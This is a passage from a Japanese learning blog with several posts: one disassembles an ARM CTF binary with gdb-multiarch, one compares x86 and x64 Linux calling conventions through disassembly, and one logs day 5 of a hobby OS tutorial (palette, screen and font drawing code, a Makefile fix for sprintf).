jmp 0x105ca <main+110>
ところどころ(bad)となっており、マシンコードを適切にアセンブリコードに変換できていないことが分かるかと思います。
あと、みるからにアセンブリコードが変(いつも見ている感じとはなんか違和感がある)です。
ということで、なにも手を加えずgdbでarmバイナリに突撃すると爆死します...
gdb-multiarchを入れてやってみる
では早速入れてやってやってみましょう。いつも通りaptで入れます。
sudo apt install gdb-multiarch
準備はこれで終了です。では早速起動。
$ gdb-multiarch bin_arm GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1 Copyright (C) 2016 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from bin_arm...(no debugging symbols found)...done. gdb-peda$
普通にgdbと同じように起動してしまったので、「これこのまんまでいけるんか?」と不安になりますがそのまま行きます。
また、見て分かる通り、gdb-pedaを入れている方であればgdb-multiarchを起動しても同じようにいけます(おそらく同じ.gdbinitを見にいっているかと)
というわけで、逆アセンブルしたmain関数のアセンブリコードを見てみます。
gdb-peda$ disas main Dump of assembler code for function main: 0x0001055c <+0>: push {r11, lr} 0x00010560 <+4>: add r11, sp, #4 0x00010564 <+8>: sub sp, sp, #8 0x00010568 <+12>: str r0, [r11, #-8] 0x0001056c <+16>: str r1, [r11, #-12] 0x00010570 <+20>: ldr r3, [r11, #-8] 0x00010574 <+24>: cmp r3, #1 0x00010578 <+28>: bgt 0x105a0 <main+68> 0x0001057c <+32>: ldr r3, [pc, #96] ; 0x105e4 <main+136> 0x00010580 <+36>: ldr r0, [r3] 0x00010584 <+40>: ldr r3, [r11, #-12] 0x00010588 <+44>: ldr r3, [r3] 0x0001058c <+48>: mov r2, r3 0x00010590 <+52>: ldr r1, [pc, #80] ; 0x105e8 <main+140> 0x00010594 <+56>: bl 0x10374 <fprintf@plt> 0x00010598 <+60>: mvn r3, #0 0x0001059c <+64>: b 0x105d8 <main+124> 0x000105a0 <+68>: ldr r3, [r11, #-12] 0x000105a4 <+72>: add r3, r3, #4 0x000105a8 <+76>: ldr r3, [r3] 0x000105ac <+80>: mov r0, r3 0x000105b0 <+84>: bl 0x104c0 <check> 0x000105b4 <+88>: mov r3, r0 0x000105b8 <+92>: cmp r3, #0 0x000105bc <+96>: bne 0x105cc <main+112> 0x000105c0 <+100>: ldr r0, [pc, #36] ; 0x105ec <main+144> 0x000105c4 <+104>: bl 0x10350 <puts@plt> 0x000105c8 <+108>: b 0x105d4 <main+120> 0x000105cc <+112>: ldr r0, [pc, #28] ; 0x105f0 <main+148> 0x000105d0 <+116>: bl 0x10350 <puts@plt> 0x000105d4 <+120>: mov r3, #0 0x000105d8 <+124>: mov r0, r3 0x000105dc <+128>: sub sp, r11, #4 0x000105e0 <+132>: pop {r11, pc} 0x000105e4 <+136>: andeq r1, r2, r0, asr r0 0x000105e8 <+140>: andeq r0, r1, r4, ror #12 0x000105ec <+144>: andeq r0, r1, r8, ror r6 0x000105f0 <+148>: andeq r0, r1, r4, lsl #13 End of assembler dump.
ちゃんと表示されているっぽい!
ぶっちゃけARMのアセンブリの解析はほとんどやっていないので、どの命令がどの処理をするのかわかってません。
(噂だとオペランドを3つとるとかなんとか....)
なので、ひとまずはこれを使って勉強していこうと思います。
linux x64での関数呼び出し
今回、久しぶりにCTFに参加しました。1問も解けず(泣
ただ、単なる勘違いで逃したようなものなので、その勘違いを供養するためにメモを書きます。
x64の関数呼び出しをx86と同じものだと勘違いしていて、いきなりrdiとかでてきて「ナンジャコリャ」となりました。
なので、そこらへんのちょっとしたメモをば。
呼び出し規約(Call Convention)
サブルーチンが呼び出される際に従わなければいけないルールのこと。ABI(Application Binary Interface)*1の一部。
今回は、サブルーチン(関数)が呼ばれる前にセットされる引数の扱いについてまとめます。
今回の環境は以下の通り
$ uname -a Linux forensic-virtual-machine 4.13.0-36-generic #40~16.04.1-Ubuntu SMP Fri Feb 16 23:25:58 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
$ cat /etc/os-release NAME="Ubuntu" VERSION="16.04.4 LTS (Xenial Xerus)" ID=ubuntu ID_LIKE=debian PRETTY_NAME="Ubuntu 16.04.4 LTS" VERSION_ID="16.04" HOME_URL="http://www.ubuntu.com/" SUPPORT_URL="http://help.ubuntu.com/" BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/" VERSION_CODENAME=xenial UBUNTU_CODENAME=xenial
この環境において、例として以下のようなプログラムを考えます。
// sample.c #include<stdio.h> int add(int a, int b, int c); int main(){ int x,y,z; int sum; x = 2; y = 3; z = 5; printf("x = %d, y = %d, z = %d\n", x, y, z); sum = add(x,y,z); printf("x + y + z = %d\n",sum); return 0; } int add(int a, int b, int c){ return a + b + c; }
着目するのは、定義したadd関数です。
add関数は、3つの引数を足した値を戻り値として返すものになります。
そして、このソースコードを以下のようにコンパイルし、x86バイナリとx64バイナリを生成します
# x86 binary gcc -m32 sample.c -o sample_x86
# x64 binary gcc sample.c -o sample_x64
では、ここからx86とx64でadd関数の引数がどのように扱われるのか見ていきます。
x86における引数の扱い
まずは、sample_x86のバイナリをデバッガで見た場合。
add関数の引数は以下のように設定されます。
0x0804844a <+63>: push DWORD PTR [ebp-0x10] ; 5 0x0804844d <+66>: push DWORD PTR [ebp-0x14] ; 3 0x08048450 <+69>: push DWORD PTR [ebp-0x18] ; 2 0x08048453 <+72>: call 0x804847e <add>
add関数の引数は3つともスタックにpushされ、その後にadd関数がコールされている形になります。
つまり、x86の場合、関数の引数はスタックに積まれることになります。
(実際、サブルーチンに入った後はebpのオフセット指定で引数の値を取り出して演算を行います)
x64における引数の扱い
では、ここからが本題。x64においてはどうなるのか。
まずは、sample_x64バイナリをデバッガで見た場合を確認。
add関数の引数が以下のように設定されます
0x000000000040055d <+55>: mov edx,DWORD PTR [rbp-0x8] ; 5 0x0000000000400560 <+58>: mov ecx,DWORD PTR [rbp-0xc] ; 3 0x0000000000400563 <+61>: mov eax,DWORD PTR [rbp-0x10] ; 2 0x0000000000400566 <+64>: mov esi,ecx 0x0000000000400568 <+66>: mov edi,eax 0x000000000040056a <+68>: call 0x40058d <add>
add関数の引数はレジスタのedi, esi, edxに格納された後、add関数のコールがかかっている状態です。
つまり、x64の場合、関数の引数がレジスタに格納されるという形になります。
また、どの引数がどのレジスタに格納されるかについては、linux64-abiの資料*2を確認してみました。
引数 | 第1引数 | 第2引数 | 第3引数 | 第4引数 | 第5引数 | 第6引数 |
---|---|---|---|---|---|---|
レジスタ | rdi | rsi | rdx | rcx | r8 | r9 |
第6引数まではレジスタを使用し、第7引数以上はスタックが使用されるということらしい。
なので、試しにadd関数の引数を8個に引き伸ばした関数を作り、どうなるか試して見ます。
ソースはこちら。
// ext_sample.c #include<stdio.h> int add(int a, int b, int c, int d, int e, int f, int g, int h); int main(){ int s,t,u,v,w,x,y,z; int sum; s = 1; t = 2; u = 3; v = 4; w = 5; x = 6; y = 7; z = 8; sum = add(s,t,u,v,w,x,y,z); printf("%d\n",sum); return 0; } int add(int a, int b, int c, int d, int e, int f, int g, int h){ return a + b + c + d + e + f + g + h; }
このソースでは、add関数で8つの引数を指定します。なので、後ろの2つの引数についてはスタックを使っているはずですので、その部分にも注目していきたいと思います。
では、コンパイルした後のx64バイナリをデバッガにかけて、add関数の引数設定を見ていきます。
0x000000000040052e <+8>: mov DWORD PTR [rbp-0x24],0x1 0x0000000000400535 <+15>: mov DWORD PTR [rbp-0x20],0x2 0x000000000040053c <+22>: mov DWORD PTR [rbp-0x1c],0x3 0x0000000000400543 <+29>: mov DWORD PTR [rbp-0x18],0x4 0x000000000040054a <+36>: mov DWORD PTR [rbp-0x14],0x5 0x0000000000400551 <+43>: mov DWORD PTR [rbp-0x10],0x6 0x0000000000400558 <+50>: mov DWORD PTR [rbp-0xc],0x7 0x000000000040055f <+57>: mov DWORD PTR [rbp-0x8],0x8 0x0000000000400566 <+64>: mov r9d,DWORD PTR [rbp-0x10] 0x000000000040056a <+68>: mov r8d,DWORD PTR [rbp-0x14] 0x000000000040056e <+72>: mov ecx,DWORD PTR [rbp-0x18] 0x0000000000400571 <+75>: mov edx,DWORD PTR [rbp-0x1c] 0x0000000000400574 <+78>: mov esi,DWORD PTR [rbp-0x20] 0x0000000000400577 <+81>: mov eax,DWORD PTR [rbp-0x24] 0x000000000040057a <+84>: mov edi,DWORD PTR [rbp-0x8] ; 8th argument 0x000000000040057d <+87>: push rdi 0x000000000040057e <+88>: mov edi,DWORD PTR [rbp-0xc] ; 7th argument 0x0000000000400581 <+91>: push rdi 0x0000000000400582 <+92>: mov edi,eax ; 1st argument 0x0000000000400584 <+94>: call 0x4005ab <add>
意図的に改行を入れて少し見やすくしています。
上の段では、1から8までの値をメモリに格納している部分になります。
次の段では、引数として1から8の値を設定するため、レジスタへそれぞれ値を格納しています。
ただし、<+81>の部分では、第1引数の値をeaxに入れています。通常であれば第1引数の値はrdiに入れるはずです。
なぜそんなことをするかというと、その下でrdi(edi)を使っているからです。
その下の段にいくと、値をediにいれてスタックにpushしています。この部分が第7引数と第8引数の設定部分になります。
引数をスタックにpushする際は、rdiレジスタを使っています。スタックに値を入れる順番は後ろに引数からです(ここはx86と変わらない)。
ここでrdiを使ってしまっているので、その上の段で第1引数をrdiに入れるとまずいですね。
(だけど、なんでわざわざrdiレジスタを使うんだろう?他のレジスタじゃだめなのだろうか....)
で、第7引数と第8引数を入れ終わった後はrdiが使えるので、eaxに入っている第1引数の値をrdiに入れ、add関数をコールするという流れになります。
今後の課題
今まで32bitのプログラムの解析ばっかりしていたので、x64の知識が全くついていない。
今回みたいな勘違いが起きないように、x64についてもちゃんと勉強しておこうと思う。
というわけで、以下の本を買ったので読み進めていこう(時間ばあればまとめていきたい)。
www.shoeisha.co.jp
*1:CPUの命令セットや呼出規約といった、ユーザーのプログラムとOS・ライブラリ間のバイナリレベルのインターフェース
*2:https://software.intel.com/sites/default/files/article/402129/mpx-linux64-abi.pdf
30日OS自作入門-5日目(GDTとIDTの前まで)-
だいたい投稿の間隔は1週間という感じでしょうか。
もしかしたらもうちょっとかかるかもしれませんけれども。
ということで5日目のラスト以外の内容について。
今回のまとめ
主には、4日目に表示させた画面上に文字だったり、マウスカーソルを表示させていきます。
どん詰まりすると思われるのはやはりフォントを増やす部分(harib02e)と変数の値を画面に表示させる(harib02g)部分かと思います。そこについては参考となるサイトをガン見してやっていけば問題ないかと思います。
harib02a
nasmhead.nasで記録されている画面モードを取得して、それを使って処理をおこなっていきます。
まずは、bootpack.cを変更していきます。
上記の処理と、4日目の最後harib01hで表示したboxfill8が大量に並んでいるところを関数としてまとめて定義(init_screen関数)します。
/* proto type declaration */ extern void io_hlt(void); extern void io_cli(void); extern void io_out8(int port, int data); extern int io_load_eflags(void); extern void io_store_eflags(int eflags); void init_palette(void); void set_palette(int start, int end, unsigned char *rgb); void boxfill8(unsigned char *vram, int xsize, unsigned char c, int x0, int y0, int x1, int y1); void init_screen(char *vram, int x, int y); #define COL8_000000 0 #define COL8_FF0000 1 #define COL8_00FF00 2 #define COL8_FFFF00 3 #define COL8_0000FF 4 #define COL8_FF00FF 5 #define COL8_00FFFF 6 #define COL8_FFFFFF 7 #define COL8_C6C6C6 8 #define COL8_840000 9 #define COL8_008400 10 #define COL8_848400 11 #define COL8_000084 12 #define COL8_840084 13 #define COL8_008484 14 #define COL8_848484 15 void HariMain(void) { char *vram; int xsize, ysize; short *binfo_scrnx, *binfo_scrny; int *binfo_vram; init_palette(); /* setting palette */ binfo_scrnx = (short *) 0x0ff4; binfo_scrny = (short *) 0x0ff6; binfo_vram = (int *) 0x0ff8; xsize = *binfo_scrnx; ysize = *binfo_scrny; vram = (char *) *binfo_vram; init_screen(vram, xsize, ysize); for(;;){ io_hlt(); } } void init_palette(void) { static unsigned char table_rgb[16*3] = { 0x00, 0x00, 0x00, /* 0:black */ 0xff, 0x00, 0x00, /* 1:light red */ 0x00, 0xff, 0x00, /* 2:light green */ 0xff, 0xff, 0x00, /* 3:light yellow */ 0x00, 0x00, 0xff, /* 4:light blue */ 0xff, 0x00, 0xff, /* 5:light purple */ 0x00, 0xff, 0xff, /* 6:light water blue */ 0xff, 0xff, 0xff, /* 7:white */ 0xc6, 0xc6, 0xc6, /* 8:light gray */ 0x84, 0x00, 0x00, /* 9:dark red */ 0x00, 0x84, 0x00, /*10:dark green */ 0x84, 0x84, 0x00, /*11:dark yellow */ 0x00, 0x00, 0x84, /*12:dark blue */ 0x84, 0x00, 0x84, /*13:dark purple */ 0x00, 0x84, 0x84, /*14:dark water blue */ 0x84, 0x84, 0x84 /*15:dark gray */ }; set_palette(0, 15, table_rgb); return; /* static char operation is equals to DB operation */ } void set_palette(int start, int end, unsigned char *rgb) { int i, eflags; eflags = io_load_eflags(); /* record the allowing interrupt flags value */ io_cli(); /* set allowing flag 0 for prohibitting interrupt */ io_out8(0x03c8, start); for(i = start; i <= end; i++){ io_out8(0x03c9, rgb[0]/4); io_out8(0x03c9, rgb[1]/4); io_out8(0x03c9, rgb[2]/4); rgb += 3; /* gain rgb pointer index 3 */ } io_store_eflags(eflags); /* restore interrupt allowing flags */ return; } void boxfill8(unsigned char *vram, int xsize, unsigned char c, int x0, int y0, int x1, int y1) { int x,y; for(y = y0; y <=y1; y++){ for(x = x0; x <= x1; x++){ vram[y * xsize + x] = c; } } return; } void init_screen(char *vram, int x, int y) { boxfill8(vram, x, COL8_008484, 0, 0, x - 1, y - 29); boxfill8(vram, x, COL8_C6C6C6, 0, y - 28, x - 1, y - 28); boxfill8(vram, x, COL8_FFFFFF, 0, y - 27, x - 1, y - 27); boxfill8(vram, x, COL8_C6C6C6, 0, y - 26, x - 1, y - 1); boxfill8(vram, x, COL8_FFFFFF, 3, y - 24, 59, y - 24); boxfill8(vram, x, COL8_FFFFFF, 2, y - 24, 2, y - 4); boxfill8(vram, x, COL8_848484, 3, y - 4, 59, y - 4); boxfill8(vram, x, COL8_848484, 59, y - 4, 59, y - 5); boxfill8(vram, x, COL8_000000, 2, y - 3, 59, y - 3); boxfill8(vram, x, COL8_000000, 60, y - 24, 60, y - 3); boxfill8(vram, x, COL8_848484, x - 47, y - 24, x - 4, y - 24); boxfill8(vram, x, COL8_848484, x - 47, y - 23, x - 47, y - 4); boxfill8(vram, x, COL8_FFFFFF, x - 47, y - 3, x - 4, y - 3); boxfill8(vram, x, COL8_FFFFFF, x - 3, y - 24, x - 3, y - 3); return; }
今回は、コードをまとめたりしただけなので、実際にmakeして実行させてもharib01hのときのものと結果は変わりません。
HariMainのところで追加で変数宣言したり、値を代入を以下のようにしています。
void HariMain(void) { char *vram; int xsize, ysize; short *binfo_scrnx, *binfo_scrny; int *binfo_vram; init_palette(); /* setting palette */ binfo_scrnx = (short *) 0x0ff4; binfo_scrny = (short *) 0x0ff6; binfo_vram = (int *) 0x0ff8; xsize = *binfo_scrnx; ysize = *binfo_scrny; vram = (char *) *binfo_vram;
で、binfo_scrnxやbinfo_scrny, binfo_vramにアドレスを格納していますが、これらはnasmhead.nasで画面解像度の値が格納されているアドレスになります。
nasmhead.nasで該当する部分がこちら。
; related to BOOT_INFO CYLS EQU 0x0ff0 ; setting boot sector LEDS EQU 0x0ff1 VMODE EQU 0x0ff2 ; how many bit color ? SCRNX EQU 0x0ff4 ; X display resolution SCRNY EQU 0x0ff6 ; Y display resolution VRAM EQU 0x0ff8 ; start address fo graphic buffer ORG 0xc200 ; start address this program is loaded ; display mode settings MOV AL,0x13 ; VGA graphics, 320x200x8bit color MOV AH,0x00 ; fixed value INT 0x10 MOV BYTE [VMODE],8 ; store display mode in the following MOV WORD [SCRNX],320 MOV WORD [SCRNY],200 MOV DWORD [VRAM],0x000a0000
SCRNX, SCRNY, VRAMのアドレスに値をそれぞれ320, 200, 0xa0000と入れています。この値をbinfo_ふんちゃかでは参照しています。
また、harib01hの時にHariMain関数にあった大量のboxfill8関数をまとめてinit_screen関数に置いたことでHariMainの中身がすっきりしました。
この後のharib02bとharib02cは構造体とアロー演算子の話なのですっとばします。
アロー演算子は、構造体のポインタ変数を宣言した際に、そのメンバのポインタを指定する際に使用するものです。
通常の構造体変数を宣言した場合はメンバへのアクセスはドットを使い、構造体ポインタを宣言した場合にはメンバへのアクセスはアロー演算子を使う、といった具合。
harib02d
今まで何もなかった画面上にAという文字を表示させます。
変更するのはbootpack.cになります。コードは以下の通り。
/* proto type declaration */ extern void io_hlt(void); extern void io_cli(void); extern void io_out8(int port, int data); extern int io_load_eflags(void); extern void io_store_eflags(int eflags); void init_palette(void); void set_palette(int start, int end, unsigned char *rgb); void boxfill8(unsigned char *vram, int xsize, unsigned char c, int x0, int y0, int x1, int y1); void init_screen(char *vram, int x, int y); void putfont8(char *vram, int xsize, int x, int y, char c, char *font); #define COL8_000000 0 #define COL8_FF0000 1 #define COL8_00FF00 2 #define COL8_FFFF00 3 #define COL8_0000FF 4 #define COL8_FF00FF 5 #define COL8_00FFFF 6 #define COL8_FFFFFF 7 #define COL8_C6C6C6 8 #define COL8_840000 9 #define COL8_008400 10 #define COL8_848400 11 #define COL8_000084 12 #define COL8_840084 13 #define COL8_008484 14 #define COL8_848484 15 struct BOOTINFO{ char cyls, leds, vmode, reserve; short scrnx, scrny; char *vram; }; void HariMain(void) { struct BOOTINFO *binfo = (struct BOOTINFO *) 0x0ff0; static char font_A[16] = { 0x00, 0x18, 0x18, 0x18, 0x18, 0x24, 0x24, 0x24, 0x24, 0x7e, 0x42, 0x42, 0x42, 0xe7, 0x00, 0x00 }; init_palette(); /* setting palette */ init_screen(binfo->vram, binfo->scrnx, binfo->scrny); putfont8(binfo->vram, binfo->scrnx, 10, 10, COL8_FFFFFF, font_A); for(;;){ io_hlt(); } } void init_palette(void) { static unsigned char table_rgb[16*3] = { 0x00, 0x00, 0x00, /* 0:black */ 0xff, 0x00, 0x00, /* 1:light red */ 0x00, 0xff, 0x00, /* 2:light green */ 0xff, 0xff, 0x00, /* 3:light yellow */ 0x00, 0x00, 0xff, /* 4:light blue */ 0xff, 0x00, 0xff, /* 5:light purple */ 0x00, 0xff, 0xff, /* 6:light water blue */ 0xff, 0xff, 0xff, /* 7:white */ 0xc6, 0xc6, 0xc6, /* 8:light gray */ 0x84, 0x00, 0x00, /* 9:dark red */ 0x00, 0x84, 0x00, /*10:dark green */ 0x84, 0x84, 0x00, /*11:dark yellow */ 0x00, 0x00, 0x84, /*12:dark blue */ 0x84, 0x00, 0x84, /*13:dark purple */ 0x00, 0x84, 0x84, /*14:dark water blue */ 0x84, 0x84, 0x84 /*15:dark gray */ }; set_palette(0, 15, table_rgb); return; /* static char operation is equals to DB operation */ } void set_palette(int start, int end, unsigned char *rgb) { int i, eflags; eflags = io_load_eflags(); /* record the allowing interrupt flags value */ io_cli(); /* set allowing flag 0 for prohibitting interrupt */ io_out8(0x03c8, start); for(i = start; i <= end; i++){ io_out8(0x03c9, rgb[0]/4); io_out8(0x03c9, rgb[1]/4); io_out8(0x03c9, rgb[2]/4); rgb += 3; /* gain rgb pointer index 3 */ } io_store_eflags(eflags); /* restore interrupt allowing flags */ return; } void boxfill8(unsigned char *vram, int xsize, unsigned char c, int x0, int y0, int x1, int y1) { int x,y; for(y = y0; y <=y1; y++){ for(x = x0; x <= x1; x++){ vram[y * xsize + x] = c; } } return; } void init_screen(char *vram, int x, int y) { boxfill8(vram, x, COL8_008484, 0, 0, x - 1, y - 29); boxfill8(vram, x, COL8_C6C6C6, 0, y - 28, x - 1, y - 28); boxfill8(vram, x, COL8_FFFFFF, 0, y - 27, x - 1, y - 27); boxfill8(vram, x, COL8_C6C6C6, 0, y - 26, x - 1, y - 1); boxfill8(vram, x, COL8_FFFFFF, 3, y - 24, 59, y - 24); boxfill8(vram, x, COL8_FFFFFF, 2, y - 24, 2, y - 4); boxfill8(vram, x, COL8_848484, 3, y - 4, 59, y - 4); boxfill8(vram, x, COL8_848484, 59, y - 4, 59, y - 5); boxfill8(vram, x, COL8_000000, 2, y - 3, 59, y - 3); boxfill8(vram, x, COL8_000000, 60, y - 24, 60, y - 3); boxfill8(vram, x, COL8_848484, x - 47, y - 24, x - 4, y - 24); boxfill8(vram, x, COL8_848484, x - 47, y - 23, x - 47, y - 4); boxfill8(vram, x, COL8_FFFFFF, x - 47, y - 3, x - 4, y - 3); boxfill8(vram, x, COL8_FFFFFF, x - 3, y - 24, x - 3, y - 3); return; } void putfont8(char *vram, int xsize, int x, int y, char c, char *font) { int i; char *p, d; // d == data for(i = 0; i < 16; i++){ p = vram + (y + i) * xsize + x; d = font[i]; if((d & 0x80) != 0){ p[0] = c; } if((d & 0x40) != 0){ p[1] = c; } if((d & 0x20) != 0){ p[2] = c; } if((d & 0x10) != 0){ p[3] = c; } if((d & 0x08) != 0){ p[4] = c; } if((d & 0x04) != 0){ p[5] = c; } if((d & 0x02) != 0){ p[6] = c; } if((d & 0x01) != 0){ p[7] = c; } } return; }
まず、構造体ポインタbinfoはアドレス0x0ff00をさしています。構造体自体は配列と同じように、メモリの連続したアドレス上にデータを格納します。配列と異なる点は、構造体の場合メンバ変数ごとに型が異なることです(メンバ変数がすべて同じ型であれば配列と同じようになると思います)。
それを踏まえると、構造体のメンバのアドレスはそれぞれ以下の通りになります。
0x0ff0 : cyls, 0x0ff1 : leds, 0x0ff2 : vmode, 0x0ff3 : reserve, 0x0ff4 : scrnx, 0x0ff6 : scrny, 0x0ff8 : vram char型は1バイトを使用、short型は2バイトを使用
それぞれのアドレスがnasmhead.nasで定義したBOOT_INFOの部分に一致するのが確認できるかと思います(上に記載したnasmhead.nasの該当部分を参照してください)。
次にfont_A配列について。
これは本に書いてある通り、「A」という文字を8(横)×16(縦)のドットで表現した場合に「塗りつぶしたドット部分」をhexで表した値を配列として定義したものになります。
下に表したものだとわかりやすいかな。
0 0 0 0 0 0 0 0 = 0x00 0 0 0 1 1 0 0 0 = 0x18 0 0 0 1 1 0 0 0 = 0x18 0 0 0 1 1 0 0 0 = 0x18 0 0 0 1 1 0 0 0 = 0x18 0 0 1 0 0 1 0 0 = 0x24 0 0 1 0 0 1 0 0 = 0x24 0 0 1 0 0 1 0 0 = 0x24 0 0 1 0 0 1 0 0 = 0x24 0 1 1 1 1 1 1 0 = 0x7e 0 1 0 0 0 0 1 0 = 0x42 0 1 0 0 0 0 1 0 = 0x42 0 1 0 0 0 0 1 0 = 0x42 1 1 1 0 0 1 1 1 = 0xe7 0 0 0 0 0 0 0 0 = 0x00 0 0 0 0 0 0 0 0 = 0x00
2進数表現でドットを塗りつぶした部分を1とした場合、各行の2進数をhexで表したものがfont_A配列に格納されています。
あとは、これをvramに書き込んであげることで「A」という文字を表示します。その処理を行うのがputfont8関数です。
putfont8関数では、上で定義したfont_A配列を使ってAを表示します。
for文内にあるif文は各ループにおいて全て実施されます。記述されているif文は、font_Aの各配列要素を2進数で考えた際に「1になっている部分を識別して、その部分に色をセットする」ことをやっています。どの色をセットするかはputfont8のarg4で指定したもの(今回の場合はCOL8_FFFFFF)で決定しています。
ということで、実行した結果は以下のようになります。
図形だけでなく文字もちゃんと表示することができました。
harib02e
フォントを増やして色々な文字を表示する、という話なのですがここでも独自ツール。。。はぁ。
フォントの元となるhankaku.txtファイルはあるので、それを読み取って先ほどのAと同じようなものを作るコードが必要になります。
処理の方針としては、hankaku.txtに書かれているドットとアスタリスクで描かれたものを読み取り、ドットだったら0、アスタリスクだったら1に変換して、それをfont_X[16]といった形でhexの値を入れていくという形です。
で、自分にはコードを自力で書く能力はないので、いつも通り参考となるサイトに書いてあるものを見よう見まねでやってみます。
参考とするのは、以下のサイトです。いつも参考にさせていただいている「サラリーマンがハッカーを真剣に目指す」のOS自作5日目です
GDT(グローバルディスクリプタテーブル) | OS自作入門 5日目-1 【Linux】 | サラリーマンがハッカーを真剣に目指す
ということで、上記に書いてあるコードを参考に(丸パクリ)します。
converter.cとして保存し、まずはこいつをコンパイルして実行します
(このコードについては、下で自分なりの解説などを入れたいと思います)
gcc converter.c -o converter.o
./converter.o
実行がうまくいくと、ディレクトリにhankaku.cというコードが出てきますので、これをつかってOS上でA以外のフォントを表示させます。
bootpack.cでの変更点は、まずfont_Aの配列をなくしてhankaku.cで定義している配列を取り込むコードをかきます。次に取り込んだ配列を使って複数の文字を画面上に描画する処理をかきます。
今回は変更点だけ以下に記します(他の部分は変更ありません)。
void HariMain(void) { struct BOOTINFO *binfo = (struct BOOTINFO *) 0x0ff0; extern char hankaku[4096]; init_palette(); /* setting palette */ init_screen(binfo->vram, binfo->scrnx, binfo->scrny); putfont8(binfo->vram, binfo->scrnx, 8, 8, COL8_FFFFFF, hankaku + 'A' * 16); putfont8(binfo->vram, binfo->scrnx, 16, 8, COL8_FFFFFF, hankaku + 'B' * 16); putfont8(binfo->vram, binfo->scrnx, 24, 8, COL8_FFFFFF, hankaku + 'C' * 16); putfont8(binfo->vram, binfo->scrnx, 40, 8, COL8_FFFFFF, hankaku + '1' * 16); putfont8(binfo->vram, binfo->scrnx, 48, 8, COL8_FFFFFF, hankaku + '2' * 16); putfont8(binfo->vram, binfo->scrnx, 56, 8, COL8_FFFFFF, hankaku + '3' * 16);
また、hariboteos.img作成時にもhankaku.cをリンクさせないといけないので、Makefileを少し変更します。
とはいってもbootpack.hrbの部分にhankaku.cを追加するだけです。
ootpack.hrb: hankaku.c bootpack.c nasmfunc.o os.lds gcc -march=i486 -m32 -nostdlib -T os.lds nasmfunc.o hankaku.c bootpack.c -o bootpack.hrb
実行した結果は以下の通りです。
いいかんじです!
harib02f
文字列をかきますが、やることは先ほどのコードのうち、文字を設定する関数をまとめるだけです。で、文字列の終端はヌルバイトになるため、ヌルバイトに到達したら設定を終了するという処理をかけばいいです。bootpack.cに関数を追加しますが、その関数がこちら。
void putfonts8_asc(char *vram, int xsize, int x, int y, char c, unsigned char *s) { extern char hankaku[4096]; for (; *s != 0x00; s++) { putfont8(vram, xsize, x, y, c, hankaku + *s * 16); x += 8; } return; }
実行した結果は以下の通りです。
harib02g
変数の値を表示させます。
が、他のサイトでもあるとおり、sprintf関数をそのまま使おうとするとエラーが出て先に進めなくなります。
私の場合、以下のようなエラーが出ました。
forensic@forensic-virtual-machine:~/tegaki_os/day5/harib02g$ make hariboteos.img nasm ipl.nas -o ipl.bin nasm nasmhead.nas -o nasmhead.bin -l nasmhead.lst nasm -f elf nasmfunc.nas -o nasmfunc.o -l nasmfunc.lst gcc -march=i486 -m32 -nostdlib -T os.lds nasmfunc.o hankaku.c bootpack.c -o bootpack.hrb /tmp/ccfzvo0m.o: In function `HariMain': bootpack.c:(.text+0xc3): undefined reference to `sprintf' collect2: error: ld returned 1 exit status Makefile:2: recipe for target 'bootpack.hrb' failed make: *** [bootpack.hrb] Error 1
リンクで問題がおこっているっぽいので、その辺どうにか対処すればいきそうなのですがちょっと今回はさくっといきたいのでharib02eの時と同様に参考サイトのsprintf関数のコードをお借りします。
sprintfを実装する | OS自作入門 5日目-2 【Linux】 | サラリーマンがハッカーを真剣に目指す
上記のリンクにあるコードをmysprintf.cとして保存します。
あとは、bootpack.cでmysprintf.cで定義されている関数を使うので、Makefileを編集してちゃんとリンクされるように設定します。
変更したのはbootpack.hrbを生成する部分で、加えてmysprintf.oを生成する項目を新たに記述いたしました。
bootpack.hrb: hankaku.c mysprintf.o bootpack.c nasmfunc.o os.lds gcc -march=i486 -m32 -nostdlib -T os.lds nasmfunc.o hankaku.c mysprintf.o bootpack.c -o bootpack.hrb ・・・ mysprintf.o: mysprintf.c gcc -c -m32 -march=i486 -nostdlib mysprintf.c -o mysprintf.o
bootpack.cのコードについては本の内容で十分かと思いますので、改めてここで説明する必要はないかと。
ということで、実行した結果は以下の通りです。